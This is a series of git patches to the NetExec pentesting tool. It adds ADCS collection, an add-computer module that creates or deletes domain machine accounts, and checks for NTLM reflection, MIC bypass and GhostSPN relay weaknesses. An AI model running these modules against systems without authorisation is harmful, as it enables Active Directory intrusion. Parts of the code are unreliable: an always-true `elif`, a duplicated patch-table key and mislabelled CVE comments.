+ + if not self.sid_domain: + self.logger.fail("Could not retrieve domain SID for ADCS collection") + return [] + + # Create CertiHound adapter and collector + adapter = ImpacketLDAPAdapter( + search_func=self.search, + domain=self.domain, + domain_sid=self.sid_domain, + ) + + collector = ADCSCollector.from_external( + ldap_connection=adapter, + domain=self.domain, + domain_sid=self.sid_domain, + ) + data = collector.collect_all() + + self.logger.highlight(f"Found {len(data.templates)} certificate templates") + self.logger.highlight(f"Found {len(data.enterprise_cas)} Enterprise CAs") + + # Export to BloodHound CE format + exporter = BloodHoundCEExporter(data.domain, data.domain_sid) + result = exporter.export(data) + + # Write individual JSON files + adcs_files = [] + output = result.to_dict() + + for node_type, content in output.items(): + filename = f"{timestamp}{node_type}.json" + with open(filename, "w") as f: + import json + json.dump(content, f) + adcs_files.append(filename) + self.logger.debug(f"Wrote ADCS file: {filename}") + + return adcs_files + + except Exception as e: + self.logger.fail(f"ADCS collection failed: {e}") + self.logger.debug(f"ADCS collection error: {e}", exc_info=True) + return [] diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index b0953031c4..88e276fb93 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -43,6 +43,6 @@ def proto_args(parser, parents): bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud") bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan") - bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma") + bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma. ADCS requires: pip install netexec[adcs]") return parser diff --git a/pyproject.toml b/pyproject.toml index f03162a3ad..a13dea75a2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -50,6 +50,9 @@ dependencies = [ "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] +[project.optional-dependencies] +adcs = ["certihound>=0.1.0"] + [project.urls] homepage = "https://github.com/Pennyw0rth/NetExec" repository = "https://github.com/Pennyw0rth/NetExec" From 6bd2de8242263dd8e0b41a983a889ca612800373 Mon Sep 17 00:00:00 2001 From: GHWX8660 Date: Sat, 24 Jan 2026 02:01:22 +0100 Subject: [PATCH 009/165] Fix incorrect exception handling --- nxc/modules/add-computer.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 3a0c09e648..bde9035852 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -175,11 +175,11 @@ def do_samr_add(self): self.noLDAPRequired = True self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'") self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword) - except samr.DCERPCSessionError as e: + except Exception as e: self.context.log.debug(f"samrCreateUser2InDomain failed: {e}") - if "STATUS_ACCESS_DENIED" in str(e): + if "doesn't have the right to create a new machine account" in str(e): self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}") - elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e): + elif "machine account quota exceeded!": self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}") return From 25f567a0974b0561f01486e7fdd8d825ac0e5667 Mon Sep 17 00:00:00 2001 From: 0x0Trace <0x0Trace@users.noreply.github.com> Date: Mon, 26 Jan 2026 09:01:50 -0500 Subject: [PATCH 010/165] feat(ldap): make CertiHound a required dependency Move CertiHound from optional to default dependencies and remove conditional import handling since it will always be installed. Co-Authored-By: Claude Opus 4.5 --- nxc/protocols/ldap.py | 7 +------ pyproject.toml | 4 +--- 2 files changed, 2 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9576df3968..357d30253c 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1746,12 +1746,7 @@ def _collect_adcs_for_bloodhound(self, timestamp): Returns: List of file paths to include in the BloodHound zip. """ - try: - from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter - except ImportError: - self.logger.fail("CertiHound not installed - skipping ADCS collection") - self.logger.fail("Install with: pip install netexec[adcs]") - return [] + from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter self.logger.highlight("Collecting ADCS data (CertiHound)...") diff --git a/pyproject.toml b/pyproject.toml index a13dea75a2..f3779768b2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,11 +48,9 @@ dependencies = [ "impacket @ git+https://github.com/fortra/impacket", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", + "certihound>=0.1.1", ] -[project.optional-dependencies] -adcs = ["certihound>=0.1.0"] - [project.urls] homepage = "https://github.com/Pennyw0rth/NetExec" repository = "https://github.com/Pennyw0rth/NetExec" From aed1cb3e5cfdb140f6278b9d41a51317d029f52a Mon Sep 17 00:00:00 2001 From: polair Date: Tue, 27 Jan 2026 18:33:41 +0100 Subject: [PATCH 011/165] Add files via upload add SMB module NTLM MIC bypass Signed-off-by: polair --- nxc/modules/ntlm_mic_bypass.py | 82 ++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 nxc/modules/ntlm_mic_bypass.py diff --git a/nxc/modules/ntlm_mic_bypass.py b/nxc/modules/ntlm_mic_bypass.py new file mode 100644 index 0000000000..dbaee24ea3 --- /dev/null +++ b/nxc/modules/ntlm_mic_bypass.py @@ -0,0 +1,82 @@ +from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.smbconnection import SessionError +from nxc.helpers.misc import CATEGORY +from impacket.nmb import NetBIOSError + + +class NXCModule: + # https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/ + name = "ntlm_mic_bypass" + description = "Attempt to check if the OS is vulnerable to CVE-2025–54918" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + category = CATEGORY.ENUMERATION + + # Reference table from MSRC report + # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073 + MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR + (6, 0, 6003): 23529, # Windows Server 2008 SP2 + (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25675, # Windows Server 2012 + (6, 3, 9600): 22774, # Windows Server 2012 R2 + (10, 0, 10240): 21128, # Windows 10 1507 + (10, 0, 14393): 8422, # Windows Server 2016 + (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 + (10, 0, 19044): 6332, # Windows 10 21H2 + (10, 0, 20348): 4171, # Windows Server 2022 + (10, 0, 22621): 5909, # Windows 11 22H2 + (10, 0, 22631): 5909, # Windows 11 23H2 + (10, 0, 26100): 6584, # Windows Server 2025 + } + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + + def options(self, context, module_options): + """No options available""" + + def is_vulnerable(self, major, minor, build, ubr): + key = (major, minor, build) + min_patched_ubr = self.MSRC_PATCHES.get(key) + if min_patched_ubr is None: + return None # Unknown product + if ubr is None: + return None + return ubr < min_patched_ubr + + def on_login(self, context, connection): + self.context = context + self.connection = connection + connection.trigger_winreg() + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + if connection.kerberos: + rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) + dce = rpc.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + try: + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) + # Reading UBR from registry + hRootKey = rrp.hOpenLocalMachine(dce)["phKey"] + hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"] + ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1] + version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None + dce.disconnect() + if not version_str: + self.context.log.info("Could not determine OS version from registry") + return + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr) + if vuln: + context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") + except SessionError as e: + if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): + self.context.log.info(f"RemoteRegistry is probably deactivated: {e}") + else: + self.context.log.debug(f"Unexpected error: {e}") + except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: + context.log.debug(f"ntlm_mic_bypass: DCERPC transport error: {e.__class__.__name__}: {e}") From ec250afa1ed09316a9540a817a29b9290a524f97 Mon Sep 17 00:00:00 2001 From: polair Date: Tue, 27 Jan 2026 18:45:58 +0100 Subject: [PATCH 012/165] Update ntlm_mic_bypass.py Signed-off-by: polair --- nxc/modules/ntlm_mic_bypass.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/ntlm_mic_bypass.py b/nxc/modules/ntlm_mic_bypass.py index dbaee24ea3..cc03cceea4 100644 --- a/nxc/modules/ntlm_mic_bypass.py +++ b/nxc/modules/ntlm_mic_bypass.py @@ -15,7 +15,7 @@ class NXCModule: category = CATEGORY.ENUMERATION # Reference table from MSRC report - # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073 + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR (6, 0, 6003): 23529, # Windows Server 2008 SP2 (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 From fa3ebc1f3c0b4e72cc75dadc23e4d5f59fab0080 Mon Sep 17 00:00:00 2001 From: polair Date: Tue, 27 Jan 2026 18:47:04 +0100 Subject: [PATCH 013/165] Update ntlm_mic_bypass.py Signed-off-by: polair --- nxc/modules/ntlm_mic_bypass.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/ntlm_mic_bypass.py b/nxc/modules/ntlm_mic_bypass.py index cc03cceea4..52d9731674 100644 --- a/nxc/modules/ntlm_mic_bypass.py +++ b/nxc/modules/ntlm_mic_bypass.py @@ -21,14 +21,14 @@ class NXCModule: (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 (6, 2, 9200): 25675, # Windows Server 2012 (6, 3, 9600): 22774, # Windows Server 2012 R2 - (10, 0, 10240): 21128, # Windows 10 1507 + (10, 0, 10240): 21128, # Windows 10 1507 (10, 0, 14393): 8422, # Windows Server 2016 (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 (10, 0, 19044): 6332, # Windows 10 21H2 - (10, 0, 20348): 4171, # Windows Server 2022 + (10, 0, 20348): 4171, # Windows Server 2022 (10, 0, 22621): 5909, # Windows 11 22H2 - (10, 0, 22631): 5909, # Windows 11 23H2 - (10, 0, 26100): 6584, # Windows Server 2025 + (10, 0, 22631): 5909, # Windows 11 23H2 + (10, 0, 26100): 6584, # Windows Server 2025 } def __init__(self, context=None, module_options=None): From f340ab8ff4fb1d4cb27fd975f338cb149d26cc13 Mon Sep 17 00:00:00 2001 From: polair Date: Wed, 28 Jan 2026 19:56:42 +0100 Subject: [PATCH 014/165] Merge: NTLM reflection CVE handling Signed-off-by: polair --- nxc/modules/ntlm_reflection.py | 120 +++++++++++++++++++++++++++++---- 1 file changed, 106 insertions(+), 14 deletions(-) diff --git a/nxc/modules/ntlm_reflection.py b/nxc/modules/ntlm_reflection.py index c4a255d2cf..15e397cc71 100644 --- a/nxc/modules/ntlm_reflection.py +++ b/nxc/modules/ntlm_reflection.py @@ -6,19 +6,27 @@ class NXCModule: - # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 - # Modified by azoxlpf to handle BrokenPipe/transport errors gracefully - # Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I + """ + Module by polair: @p0l4ir + Initial module: + https://github.com/Pennyw0rth/NetExec/pull/1086 + """ + name = "ntlm_reflection" - description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)" + description = "Module to check whether the target is vulnerable to any CVE that relies on NTLM reflection." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True category = CATEGORY.ENUMERATION + # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 + # Modified by azoxlpf to handle BrokenPipe/transport errors gracefully + # Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I + # Thanks to @YOLOP0wn for ghostspn https://github.com/Pennyw0rth/NetExec/pull/978 + # Reference table from MSRC report # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073 - MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR + MSRC_PATCHES_ntlm_reflection = { # key = (major, minor, build), value = minimum patched UBR (6, 0, 6003): 23351, # Windows Server 2008 SP2 (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 (6, 2, 9200): 25522, # Windows Server 2012 @@ -30,16 +38,59 @@ class NXCModule: (10, 0, 22621): 5472, # Windows 11 22H2 } + # Reference table from MSRC report + # https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-58726 + # Thanks to @YOLOP0wn https://github.com/Pennyw0rth/NetExec/pull/978 + MSRC_PATCHES_ghostspn = { # key = (major, minor, build), value = minimum patched UBR + (6, 1, 7601): 23571, # Windows Server 2008 SP2 + (6, 1, 7601): 27974, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25722, # Windows Server 2012 + (6, 3, 9600): 22824, # Windows Server 2012 R2 + (10, 0, 14393): 8519, # Windows Server 2016 + (10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809 + (10, 0, 20348): 4294, # Windows Server 2022 + (10, 0, 19044): 6456, # Windows 10 21H2 + (10, 0, 22621): 6060, # Windows 11 22H2 + } + + # Reference table from MSRC report + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 + MSRC_PATCHES_ntlm_mic_bypass = { # key = (major, minor, build), value = minimum patched UBR + (6, 0, 6003): 23529, # Windows Server 2008 SP2 + (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 + (6, 2, 9200): 25675, # Windows Server 2012 + (6, 3, 9600): 22774, # Windows Server 2012 R2 + (10, 0, 10240): 21128, # Windows 10 1507 + (10, 0, 14393): 8422, # Windows Server 2016 + (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 + (10, 0, 19044): 6332, # Windows 10 21H2 + (10, 0, 20348): 4171, # Windows Server 2022 + (10, 0, 22621): 5909, # Windows 11 22H2 + (10, 0, 22631): 5909, # Windows 11 23H2 + (10, 0, 26100): 6584, # Windows Server 2025 + } + + + + + def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options + self.cve = "all" def options(self, context, module_options): - """No options available""" + """ + CVE CVE recon (CVE-2025-33073, CVE‑2025‑54918, CVE-2025-58726, All default: All) + """ + self.listener = None + if "CVE" in module_options: + self.cve = module_options["CVE"].lower() + - def is_vulnerable(self, major, minor, build, ubr): + def is_vulnerable(self, major, minor, build, ubr,msrc): key = (major, minor, build) - min_patched_ubr = self.MSRC_PATCHES.get(key) + min_patched_ubr = msrc.get(key) if min_patched_ubr is None: return None # Unknown product if ubr is None: @@ -47,6 +98,8 @@ def is_vulnerable(self, major, minor, build, ubr): return ubr < min_patched_ubr def on_login(self, context, connection): + + self.context = context self.connection = connection connection.trigger_winreg() @@ -69,16 +122,55 @@ def on_login(self, context, connection): if not version_str: self.context.log.info("Could not determine OS version from registry") return - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr) - if vuln: - if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled - context.log.highlight(f"VULNERABLE (can relay SMB to any protocol on {self.context.log.extra['host']})") - else: - context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") + + except SessionError as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.context.log.info(f"RemoteRegistry is probably deactivated: {e}") else: self.context.log.debug(f"Unexpected error: {e}") + return except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}") + return + + + + if self.cve == "all" or self.cve == "ntlm_reflection": # CVE-2025-33073 + """NTLM REFLECTION START""" + + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) + if vuln: + context.log.highlight("VULNERABLE, NTLM REFLECTION") + if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled + context.log.highlight(f"(can relay SMB to any protocol on {self.context.log.extra['host']})") + else: + context.log.highlight(f"(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") + + """NTLM REFLECTION END""" + + if self.cve == "all" or self.cve == "ghostspn": # CVE‑2025‑54918 + """GHOSTSPN START""" + + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ghostspn) + if vuln: + context.log.highlight("VULNERABLE, GhostSPN") + if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled + context.log.highlight(f"(can relay SMB using Ghost SPN for Kerberos reflection on {self.context.log.extra['host']})") + else: + context.log.highlight(f"(can relay SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB on {self.context.log.extra['host']})") + + """GHOSTSPN END""" + + if self.cve == "all" or self.cve == "ntlm_mic_bypass": # CVE-2025-58726 + """ NTLM MIC BYPASS START""" + + vuln_ntlm_reflection = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_reflection) + vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.MSRC_PATCHES_ntlm_mic_bypass) + if vuln_ntlm_reflection and vuln: + context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") + elif vuln and connection.server_os_build >= 22621: # Windows 11 22H2+ and Windows Server 2025 + context.log.highlight(f"VULNERABLE, NTLM MIC BYPASS \n(can relay SMB to any protocol on {self.context.log.extra['host']}) — coercion works only via DCE/RPC over TCP (no named pipes)") + + """ NTLM MIC BYPASS END""" + From 8e7bc4ecd9dcb3d8d98bc39add1c5f239f913569 Mon Sep 17 00:00:00 2001 From: polair Date: Wed, 28 Jan 2026 19:57:46 +0100 Subject: [PATCH 015/165] Delete nxc/modules/ntlm_mic_bypass.py Signed-off-by: polair --- nxc/modules/ntlm_mic_bypass.py | 82 ---------------------------------- 1 file changed, 82 deletions(-) delete mode 100644 nxc/modules/ntlm_mic_bypass.py diff --git a/nxc/modules/ntlm_mic_bypass.py b/nxc/modules/ntlm_mic_bypass.py deleted file mode 100644 index 52d9731674..0000000000 --- a/nxc/modules/ntlm_mic_bypass.py +++ /dev/null @@ -1,82 +0,0 @@ -from impacket.dcerpc.v5 import transport, rrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE -from impacket.smbconnection import SessionError -from nxc.helpers.misc import CATEGORY -from impacket.nmb import NetBIOSError - - -class NXCModule: - # https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/ - name = "ntlm_mic_bypass" - description = "Attempt to check if the OS is vulnerable to CVE-2025–54918" - supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - category = CATEGORY.ENUMERATION - - # Reference table from MSRC report - # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 - MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR - (6, 0, 6003): 23529, # Windows Server 2008 SP2 - (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 - (6, 2, 9200): 25675, # Windows Server 2012 - (6, 3, 9600): 22774, # Windows Server 2012 R2 - (10, 0, 10240): 21128, # Windows 10 1507 - (10, 0, 14393): 8422, # Windows Server 2016 - (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 - (10, 0, 19044): 6332, # Windows 10 21H2 - (10, 0, 20348): 4171, # Windows Server 2022 - (10, 0, 22621): 5909, # Windows 11 22H2 - (10, 0, 22631): 5909, # Windows 11 23H2 - (10, 0, 26100): 6584, # Windows Server 2025 - } - - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options - - def options(self, context, module_options): - """No options available""" - - def is_vulnerable(self, major, minor, build, ubr): - key = (major, minor, build) - min_patched_ubr = self.MSRC_PATCHES.get(key) - if min_patched_ubr is None: - return None # Unknown product - if ubr is None: - return None - return ubr < min_patched_ubr - - def on_login(self, context, connection): - self.context = context - self.connection = connection - connection.trigger_winreg() - rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") - rpc.set_smb_connection(connection.conn) - if connection.kerberos: - rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - dce = rpc.get_dce_rpc() - if connection.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - try: - dce.connect() - dce.bind(rrp.MSRPC_UUID_RRP) - # Reading UBR from registry - hRootKey = rrp.hOpenLocalMachine(dce)["phKey"] - hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"] - ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1] - version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None - dce.disconnect() - if not version_str: - self.context.log.info("Could not determine OS version from registry") - return - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr) - if vuln: - context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})") - except SessionError as e: - if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): - self.context.log.info(f"RemoteRegistry is probably deactivated: {e}") - else: - self.context.log.debug(f"Unexpected error: {e}") - except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e: - context.log.debug(f"ntlm_mic_bypass: DCERPC transport error: {e.__class__.__name__}: {e}") From e3b97c6edfce1facb41846599e7ffd93129ef5ee Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 4 Feb 2026 19:39:41 +0100 Subject: [PATCH 016/165] fix : support NTLM hash and AES key auth --- nxc/modules/certipy-find.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/modules/certipy-find.py b/nxc/modules/certipy-find.py index 7ea8f319e7..4192d92090 100644 --- a/nxc/modules/certipy-find.py +++ b/nxc/modules/certipy-find.py @@ -75,9 +75,12 @@ def on_login(self, context, connection): username=connection.username, password=connection.password, remote_name=connection.remoteName, + hashes=connection.hash, lmhash=connection.lmhash, nthash=connection.nthash, do_kerberos=connection.kerberos, + aes=connection.aesKey, + dc_ip=connection.kdcHost or connection.host, target_ip=connection.host, ldap_port=connection.port, ldap_scheme="ldaps" if connection.port == 636 else "ldap", From bbcd2927590e893c12fddb2c805a7650b00a0ae6 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 5 Feb 2026 16:41:47 +0100 Subject: [PATCH 017/165] use kdcHost only for dc_ip --- nxc/modules/certipy-find.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/certipy-find.py b/nxc/modules/certipy-find.py index 4192d92090..3a5e0c1464 100644 --- a/nxc/modules/certipy-find.py +++ b/nxc/modules/certipy-find.py @@ -80,7 +80,7 @@ def on_login(self, context, connection): nthash=connection.nthash, do_kerberos=connection.kerberos, aes=connection.aesKey, - dc_ip=connection.kdcHost or connection.host, + dc_ip=connection.kdcHost, target_ip=connection.host, ldap_port=connection.port, ldap_scheme="ldaps" if connection.port == 636 else "ldap", From d4dd0961f5717b5c8c2f1a083dd9a4c80c44b032 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Fri, 6 Feb 2026 10:45:08 +0100 Subject: [PATCH 018/165] Remove function --- nxc/modules/mssql_cbt.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/nxc/modules/mssql_cbt.py b/nxc/modules/mssql_cbt.py index 5f12d7104e..0fff6ffadb 100644 --- a/nxc/modules/mssql_cbt.py +++ b/nxc/modules/mssql_cbt.py @@ -27,13 +27,6 @@ def on_login(self, context, connection): new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName) new_conn.connect(connection.args.mssql_timeout) - def log_result(success): - self.logger.highlight( - "Connection successful: Channel Binding Token NOT REQUIRED" - if success else - "Connection failed: Channel Binding Token REQUIRED" - ) - if connection.kerberos: success = new_conn.kerberosLogin( None, connection.username, connection.password, connection.targetDomain, @@ -48,5 +41,9 @@ def log_result(success): cbt_fake_value=b"" ) - log_result(success) - new_conn.disconnect() \ No newline at end of file + self.logger.highlight( + "Connection successful: Channel Binding Token NOT REQUIRED" + if success else + "Connection failed: Channel Binding Token REQUIRED" + ) + new_conn.disconnect() From 28343fe03e5b27bf683762c3f24e0be841d7852b Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Fri, 6 Feb 2026 21:48:35 +0100 Subject: [PATCH 019/165] refactor : switch from ldap3 to impacket CRUD and add LDAPS --- nxc/modules/add-computer.py | 479 +++++++++++++++++++----------------- 1 file changed, 260 insertions(+), 219 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 3a0c09e648..ae14ab44eb 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -1,269 +1,310 @@ -import ssl -import ldap3 import sys -from impacket.dcerpc.v5 import samr, epm, transport -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE + +from impacket.dcerpc.v5 import samr, transport +from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE from nxc.helpers.misc import CATEGORY class NXCModule: """ Module by CyberCelt: @Cyb3rC3lt + Refactored to use impacket LDAP CRUD operations instead of ldap3. + Initial module: https://github.com/Cyb3rC3lt/CrackMapExec-Modules Thanks to the guys at impacket for the original code """ name = "add-computer" - description = "Adds or deletes a domain computer" - supported_protocols = ["smb"] + description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS" + supported_protocols = ["smb", "ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ - add-computer: Specify add-computer to call the module using smb - NAME: Specify the NAME option to name the Computer to be added - PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added - DELETE: Specify DELETE to remove a Computer - CHANGEPW: Specify CHANGEPW to modify a Computer password - Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1" - nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True - nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True - """ - self.__noAdd = False - self.__delete = False - self.noLDAPRequired = False + add-computer: Adds, deletes, or changes the password of a domain computer account. + Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap. - if "DELETE" in module_options: - self.__delete = True + NAME Computer name (required). Trailing '$' is added automatically. + PASSWORD Computer password (required for add/changepw). + DELETE Set to delete the computer account. + CHANGEPW Set to change an existing computer's password. - if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options): - context.log.error("NAME and PASSWORD options are required!") - sys.exit(1) - elif "CHANGEPW" in module_options: - self.__noAdd = True + Usage: + nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1" + nxc ldap $DC-IP -u Username -p Password --port 636 -M add-computer -o NAME="BADPC" PASSWORD="Password1" + nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True + nxc ldap $DC-IP -u Username -p Password --port 636 -M add-computer -o NAME="BADPC" DELETE=True + nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True + nxc ldap $DC-IP -u Username -p Password --port 636 -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True + """ + self.delete = "DELETE" in module_options + self.no_add = False - if "NAME" in module_options: - self.__computerName = module_options["NAME"] - if self.__computerName[-1] != "$": - self.__computerName += "$" - else: + if "CHANGEPW" in module_options: + if "NAME" not in module_options or "PASSWORD" not in module_options: + context.log.error("NAME and PASSWORD options are required for CHANGEPW!") + sys.exit(1) + self.no_add = True + + if "NAME" not in module_options: context.log.error("NAME option is required!") sys.exit(1) + self.computer_name = module_options["NAME"] + if not self.computer_name.endswith("$"): + self.computer_name += "$" + if "PASSWORD" in module_options: - self.__computerPassword = module_options["PASSWORD"] - elif "PASSWORD" not in module_options and not self.__delete: + self.computer_password = module_options["PASSWORD"] + elif not self.delete: 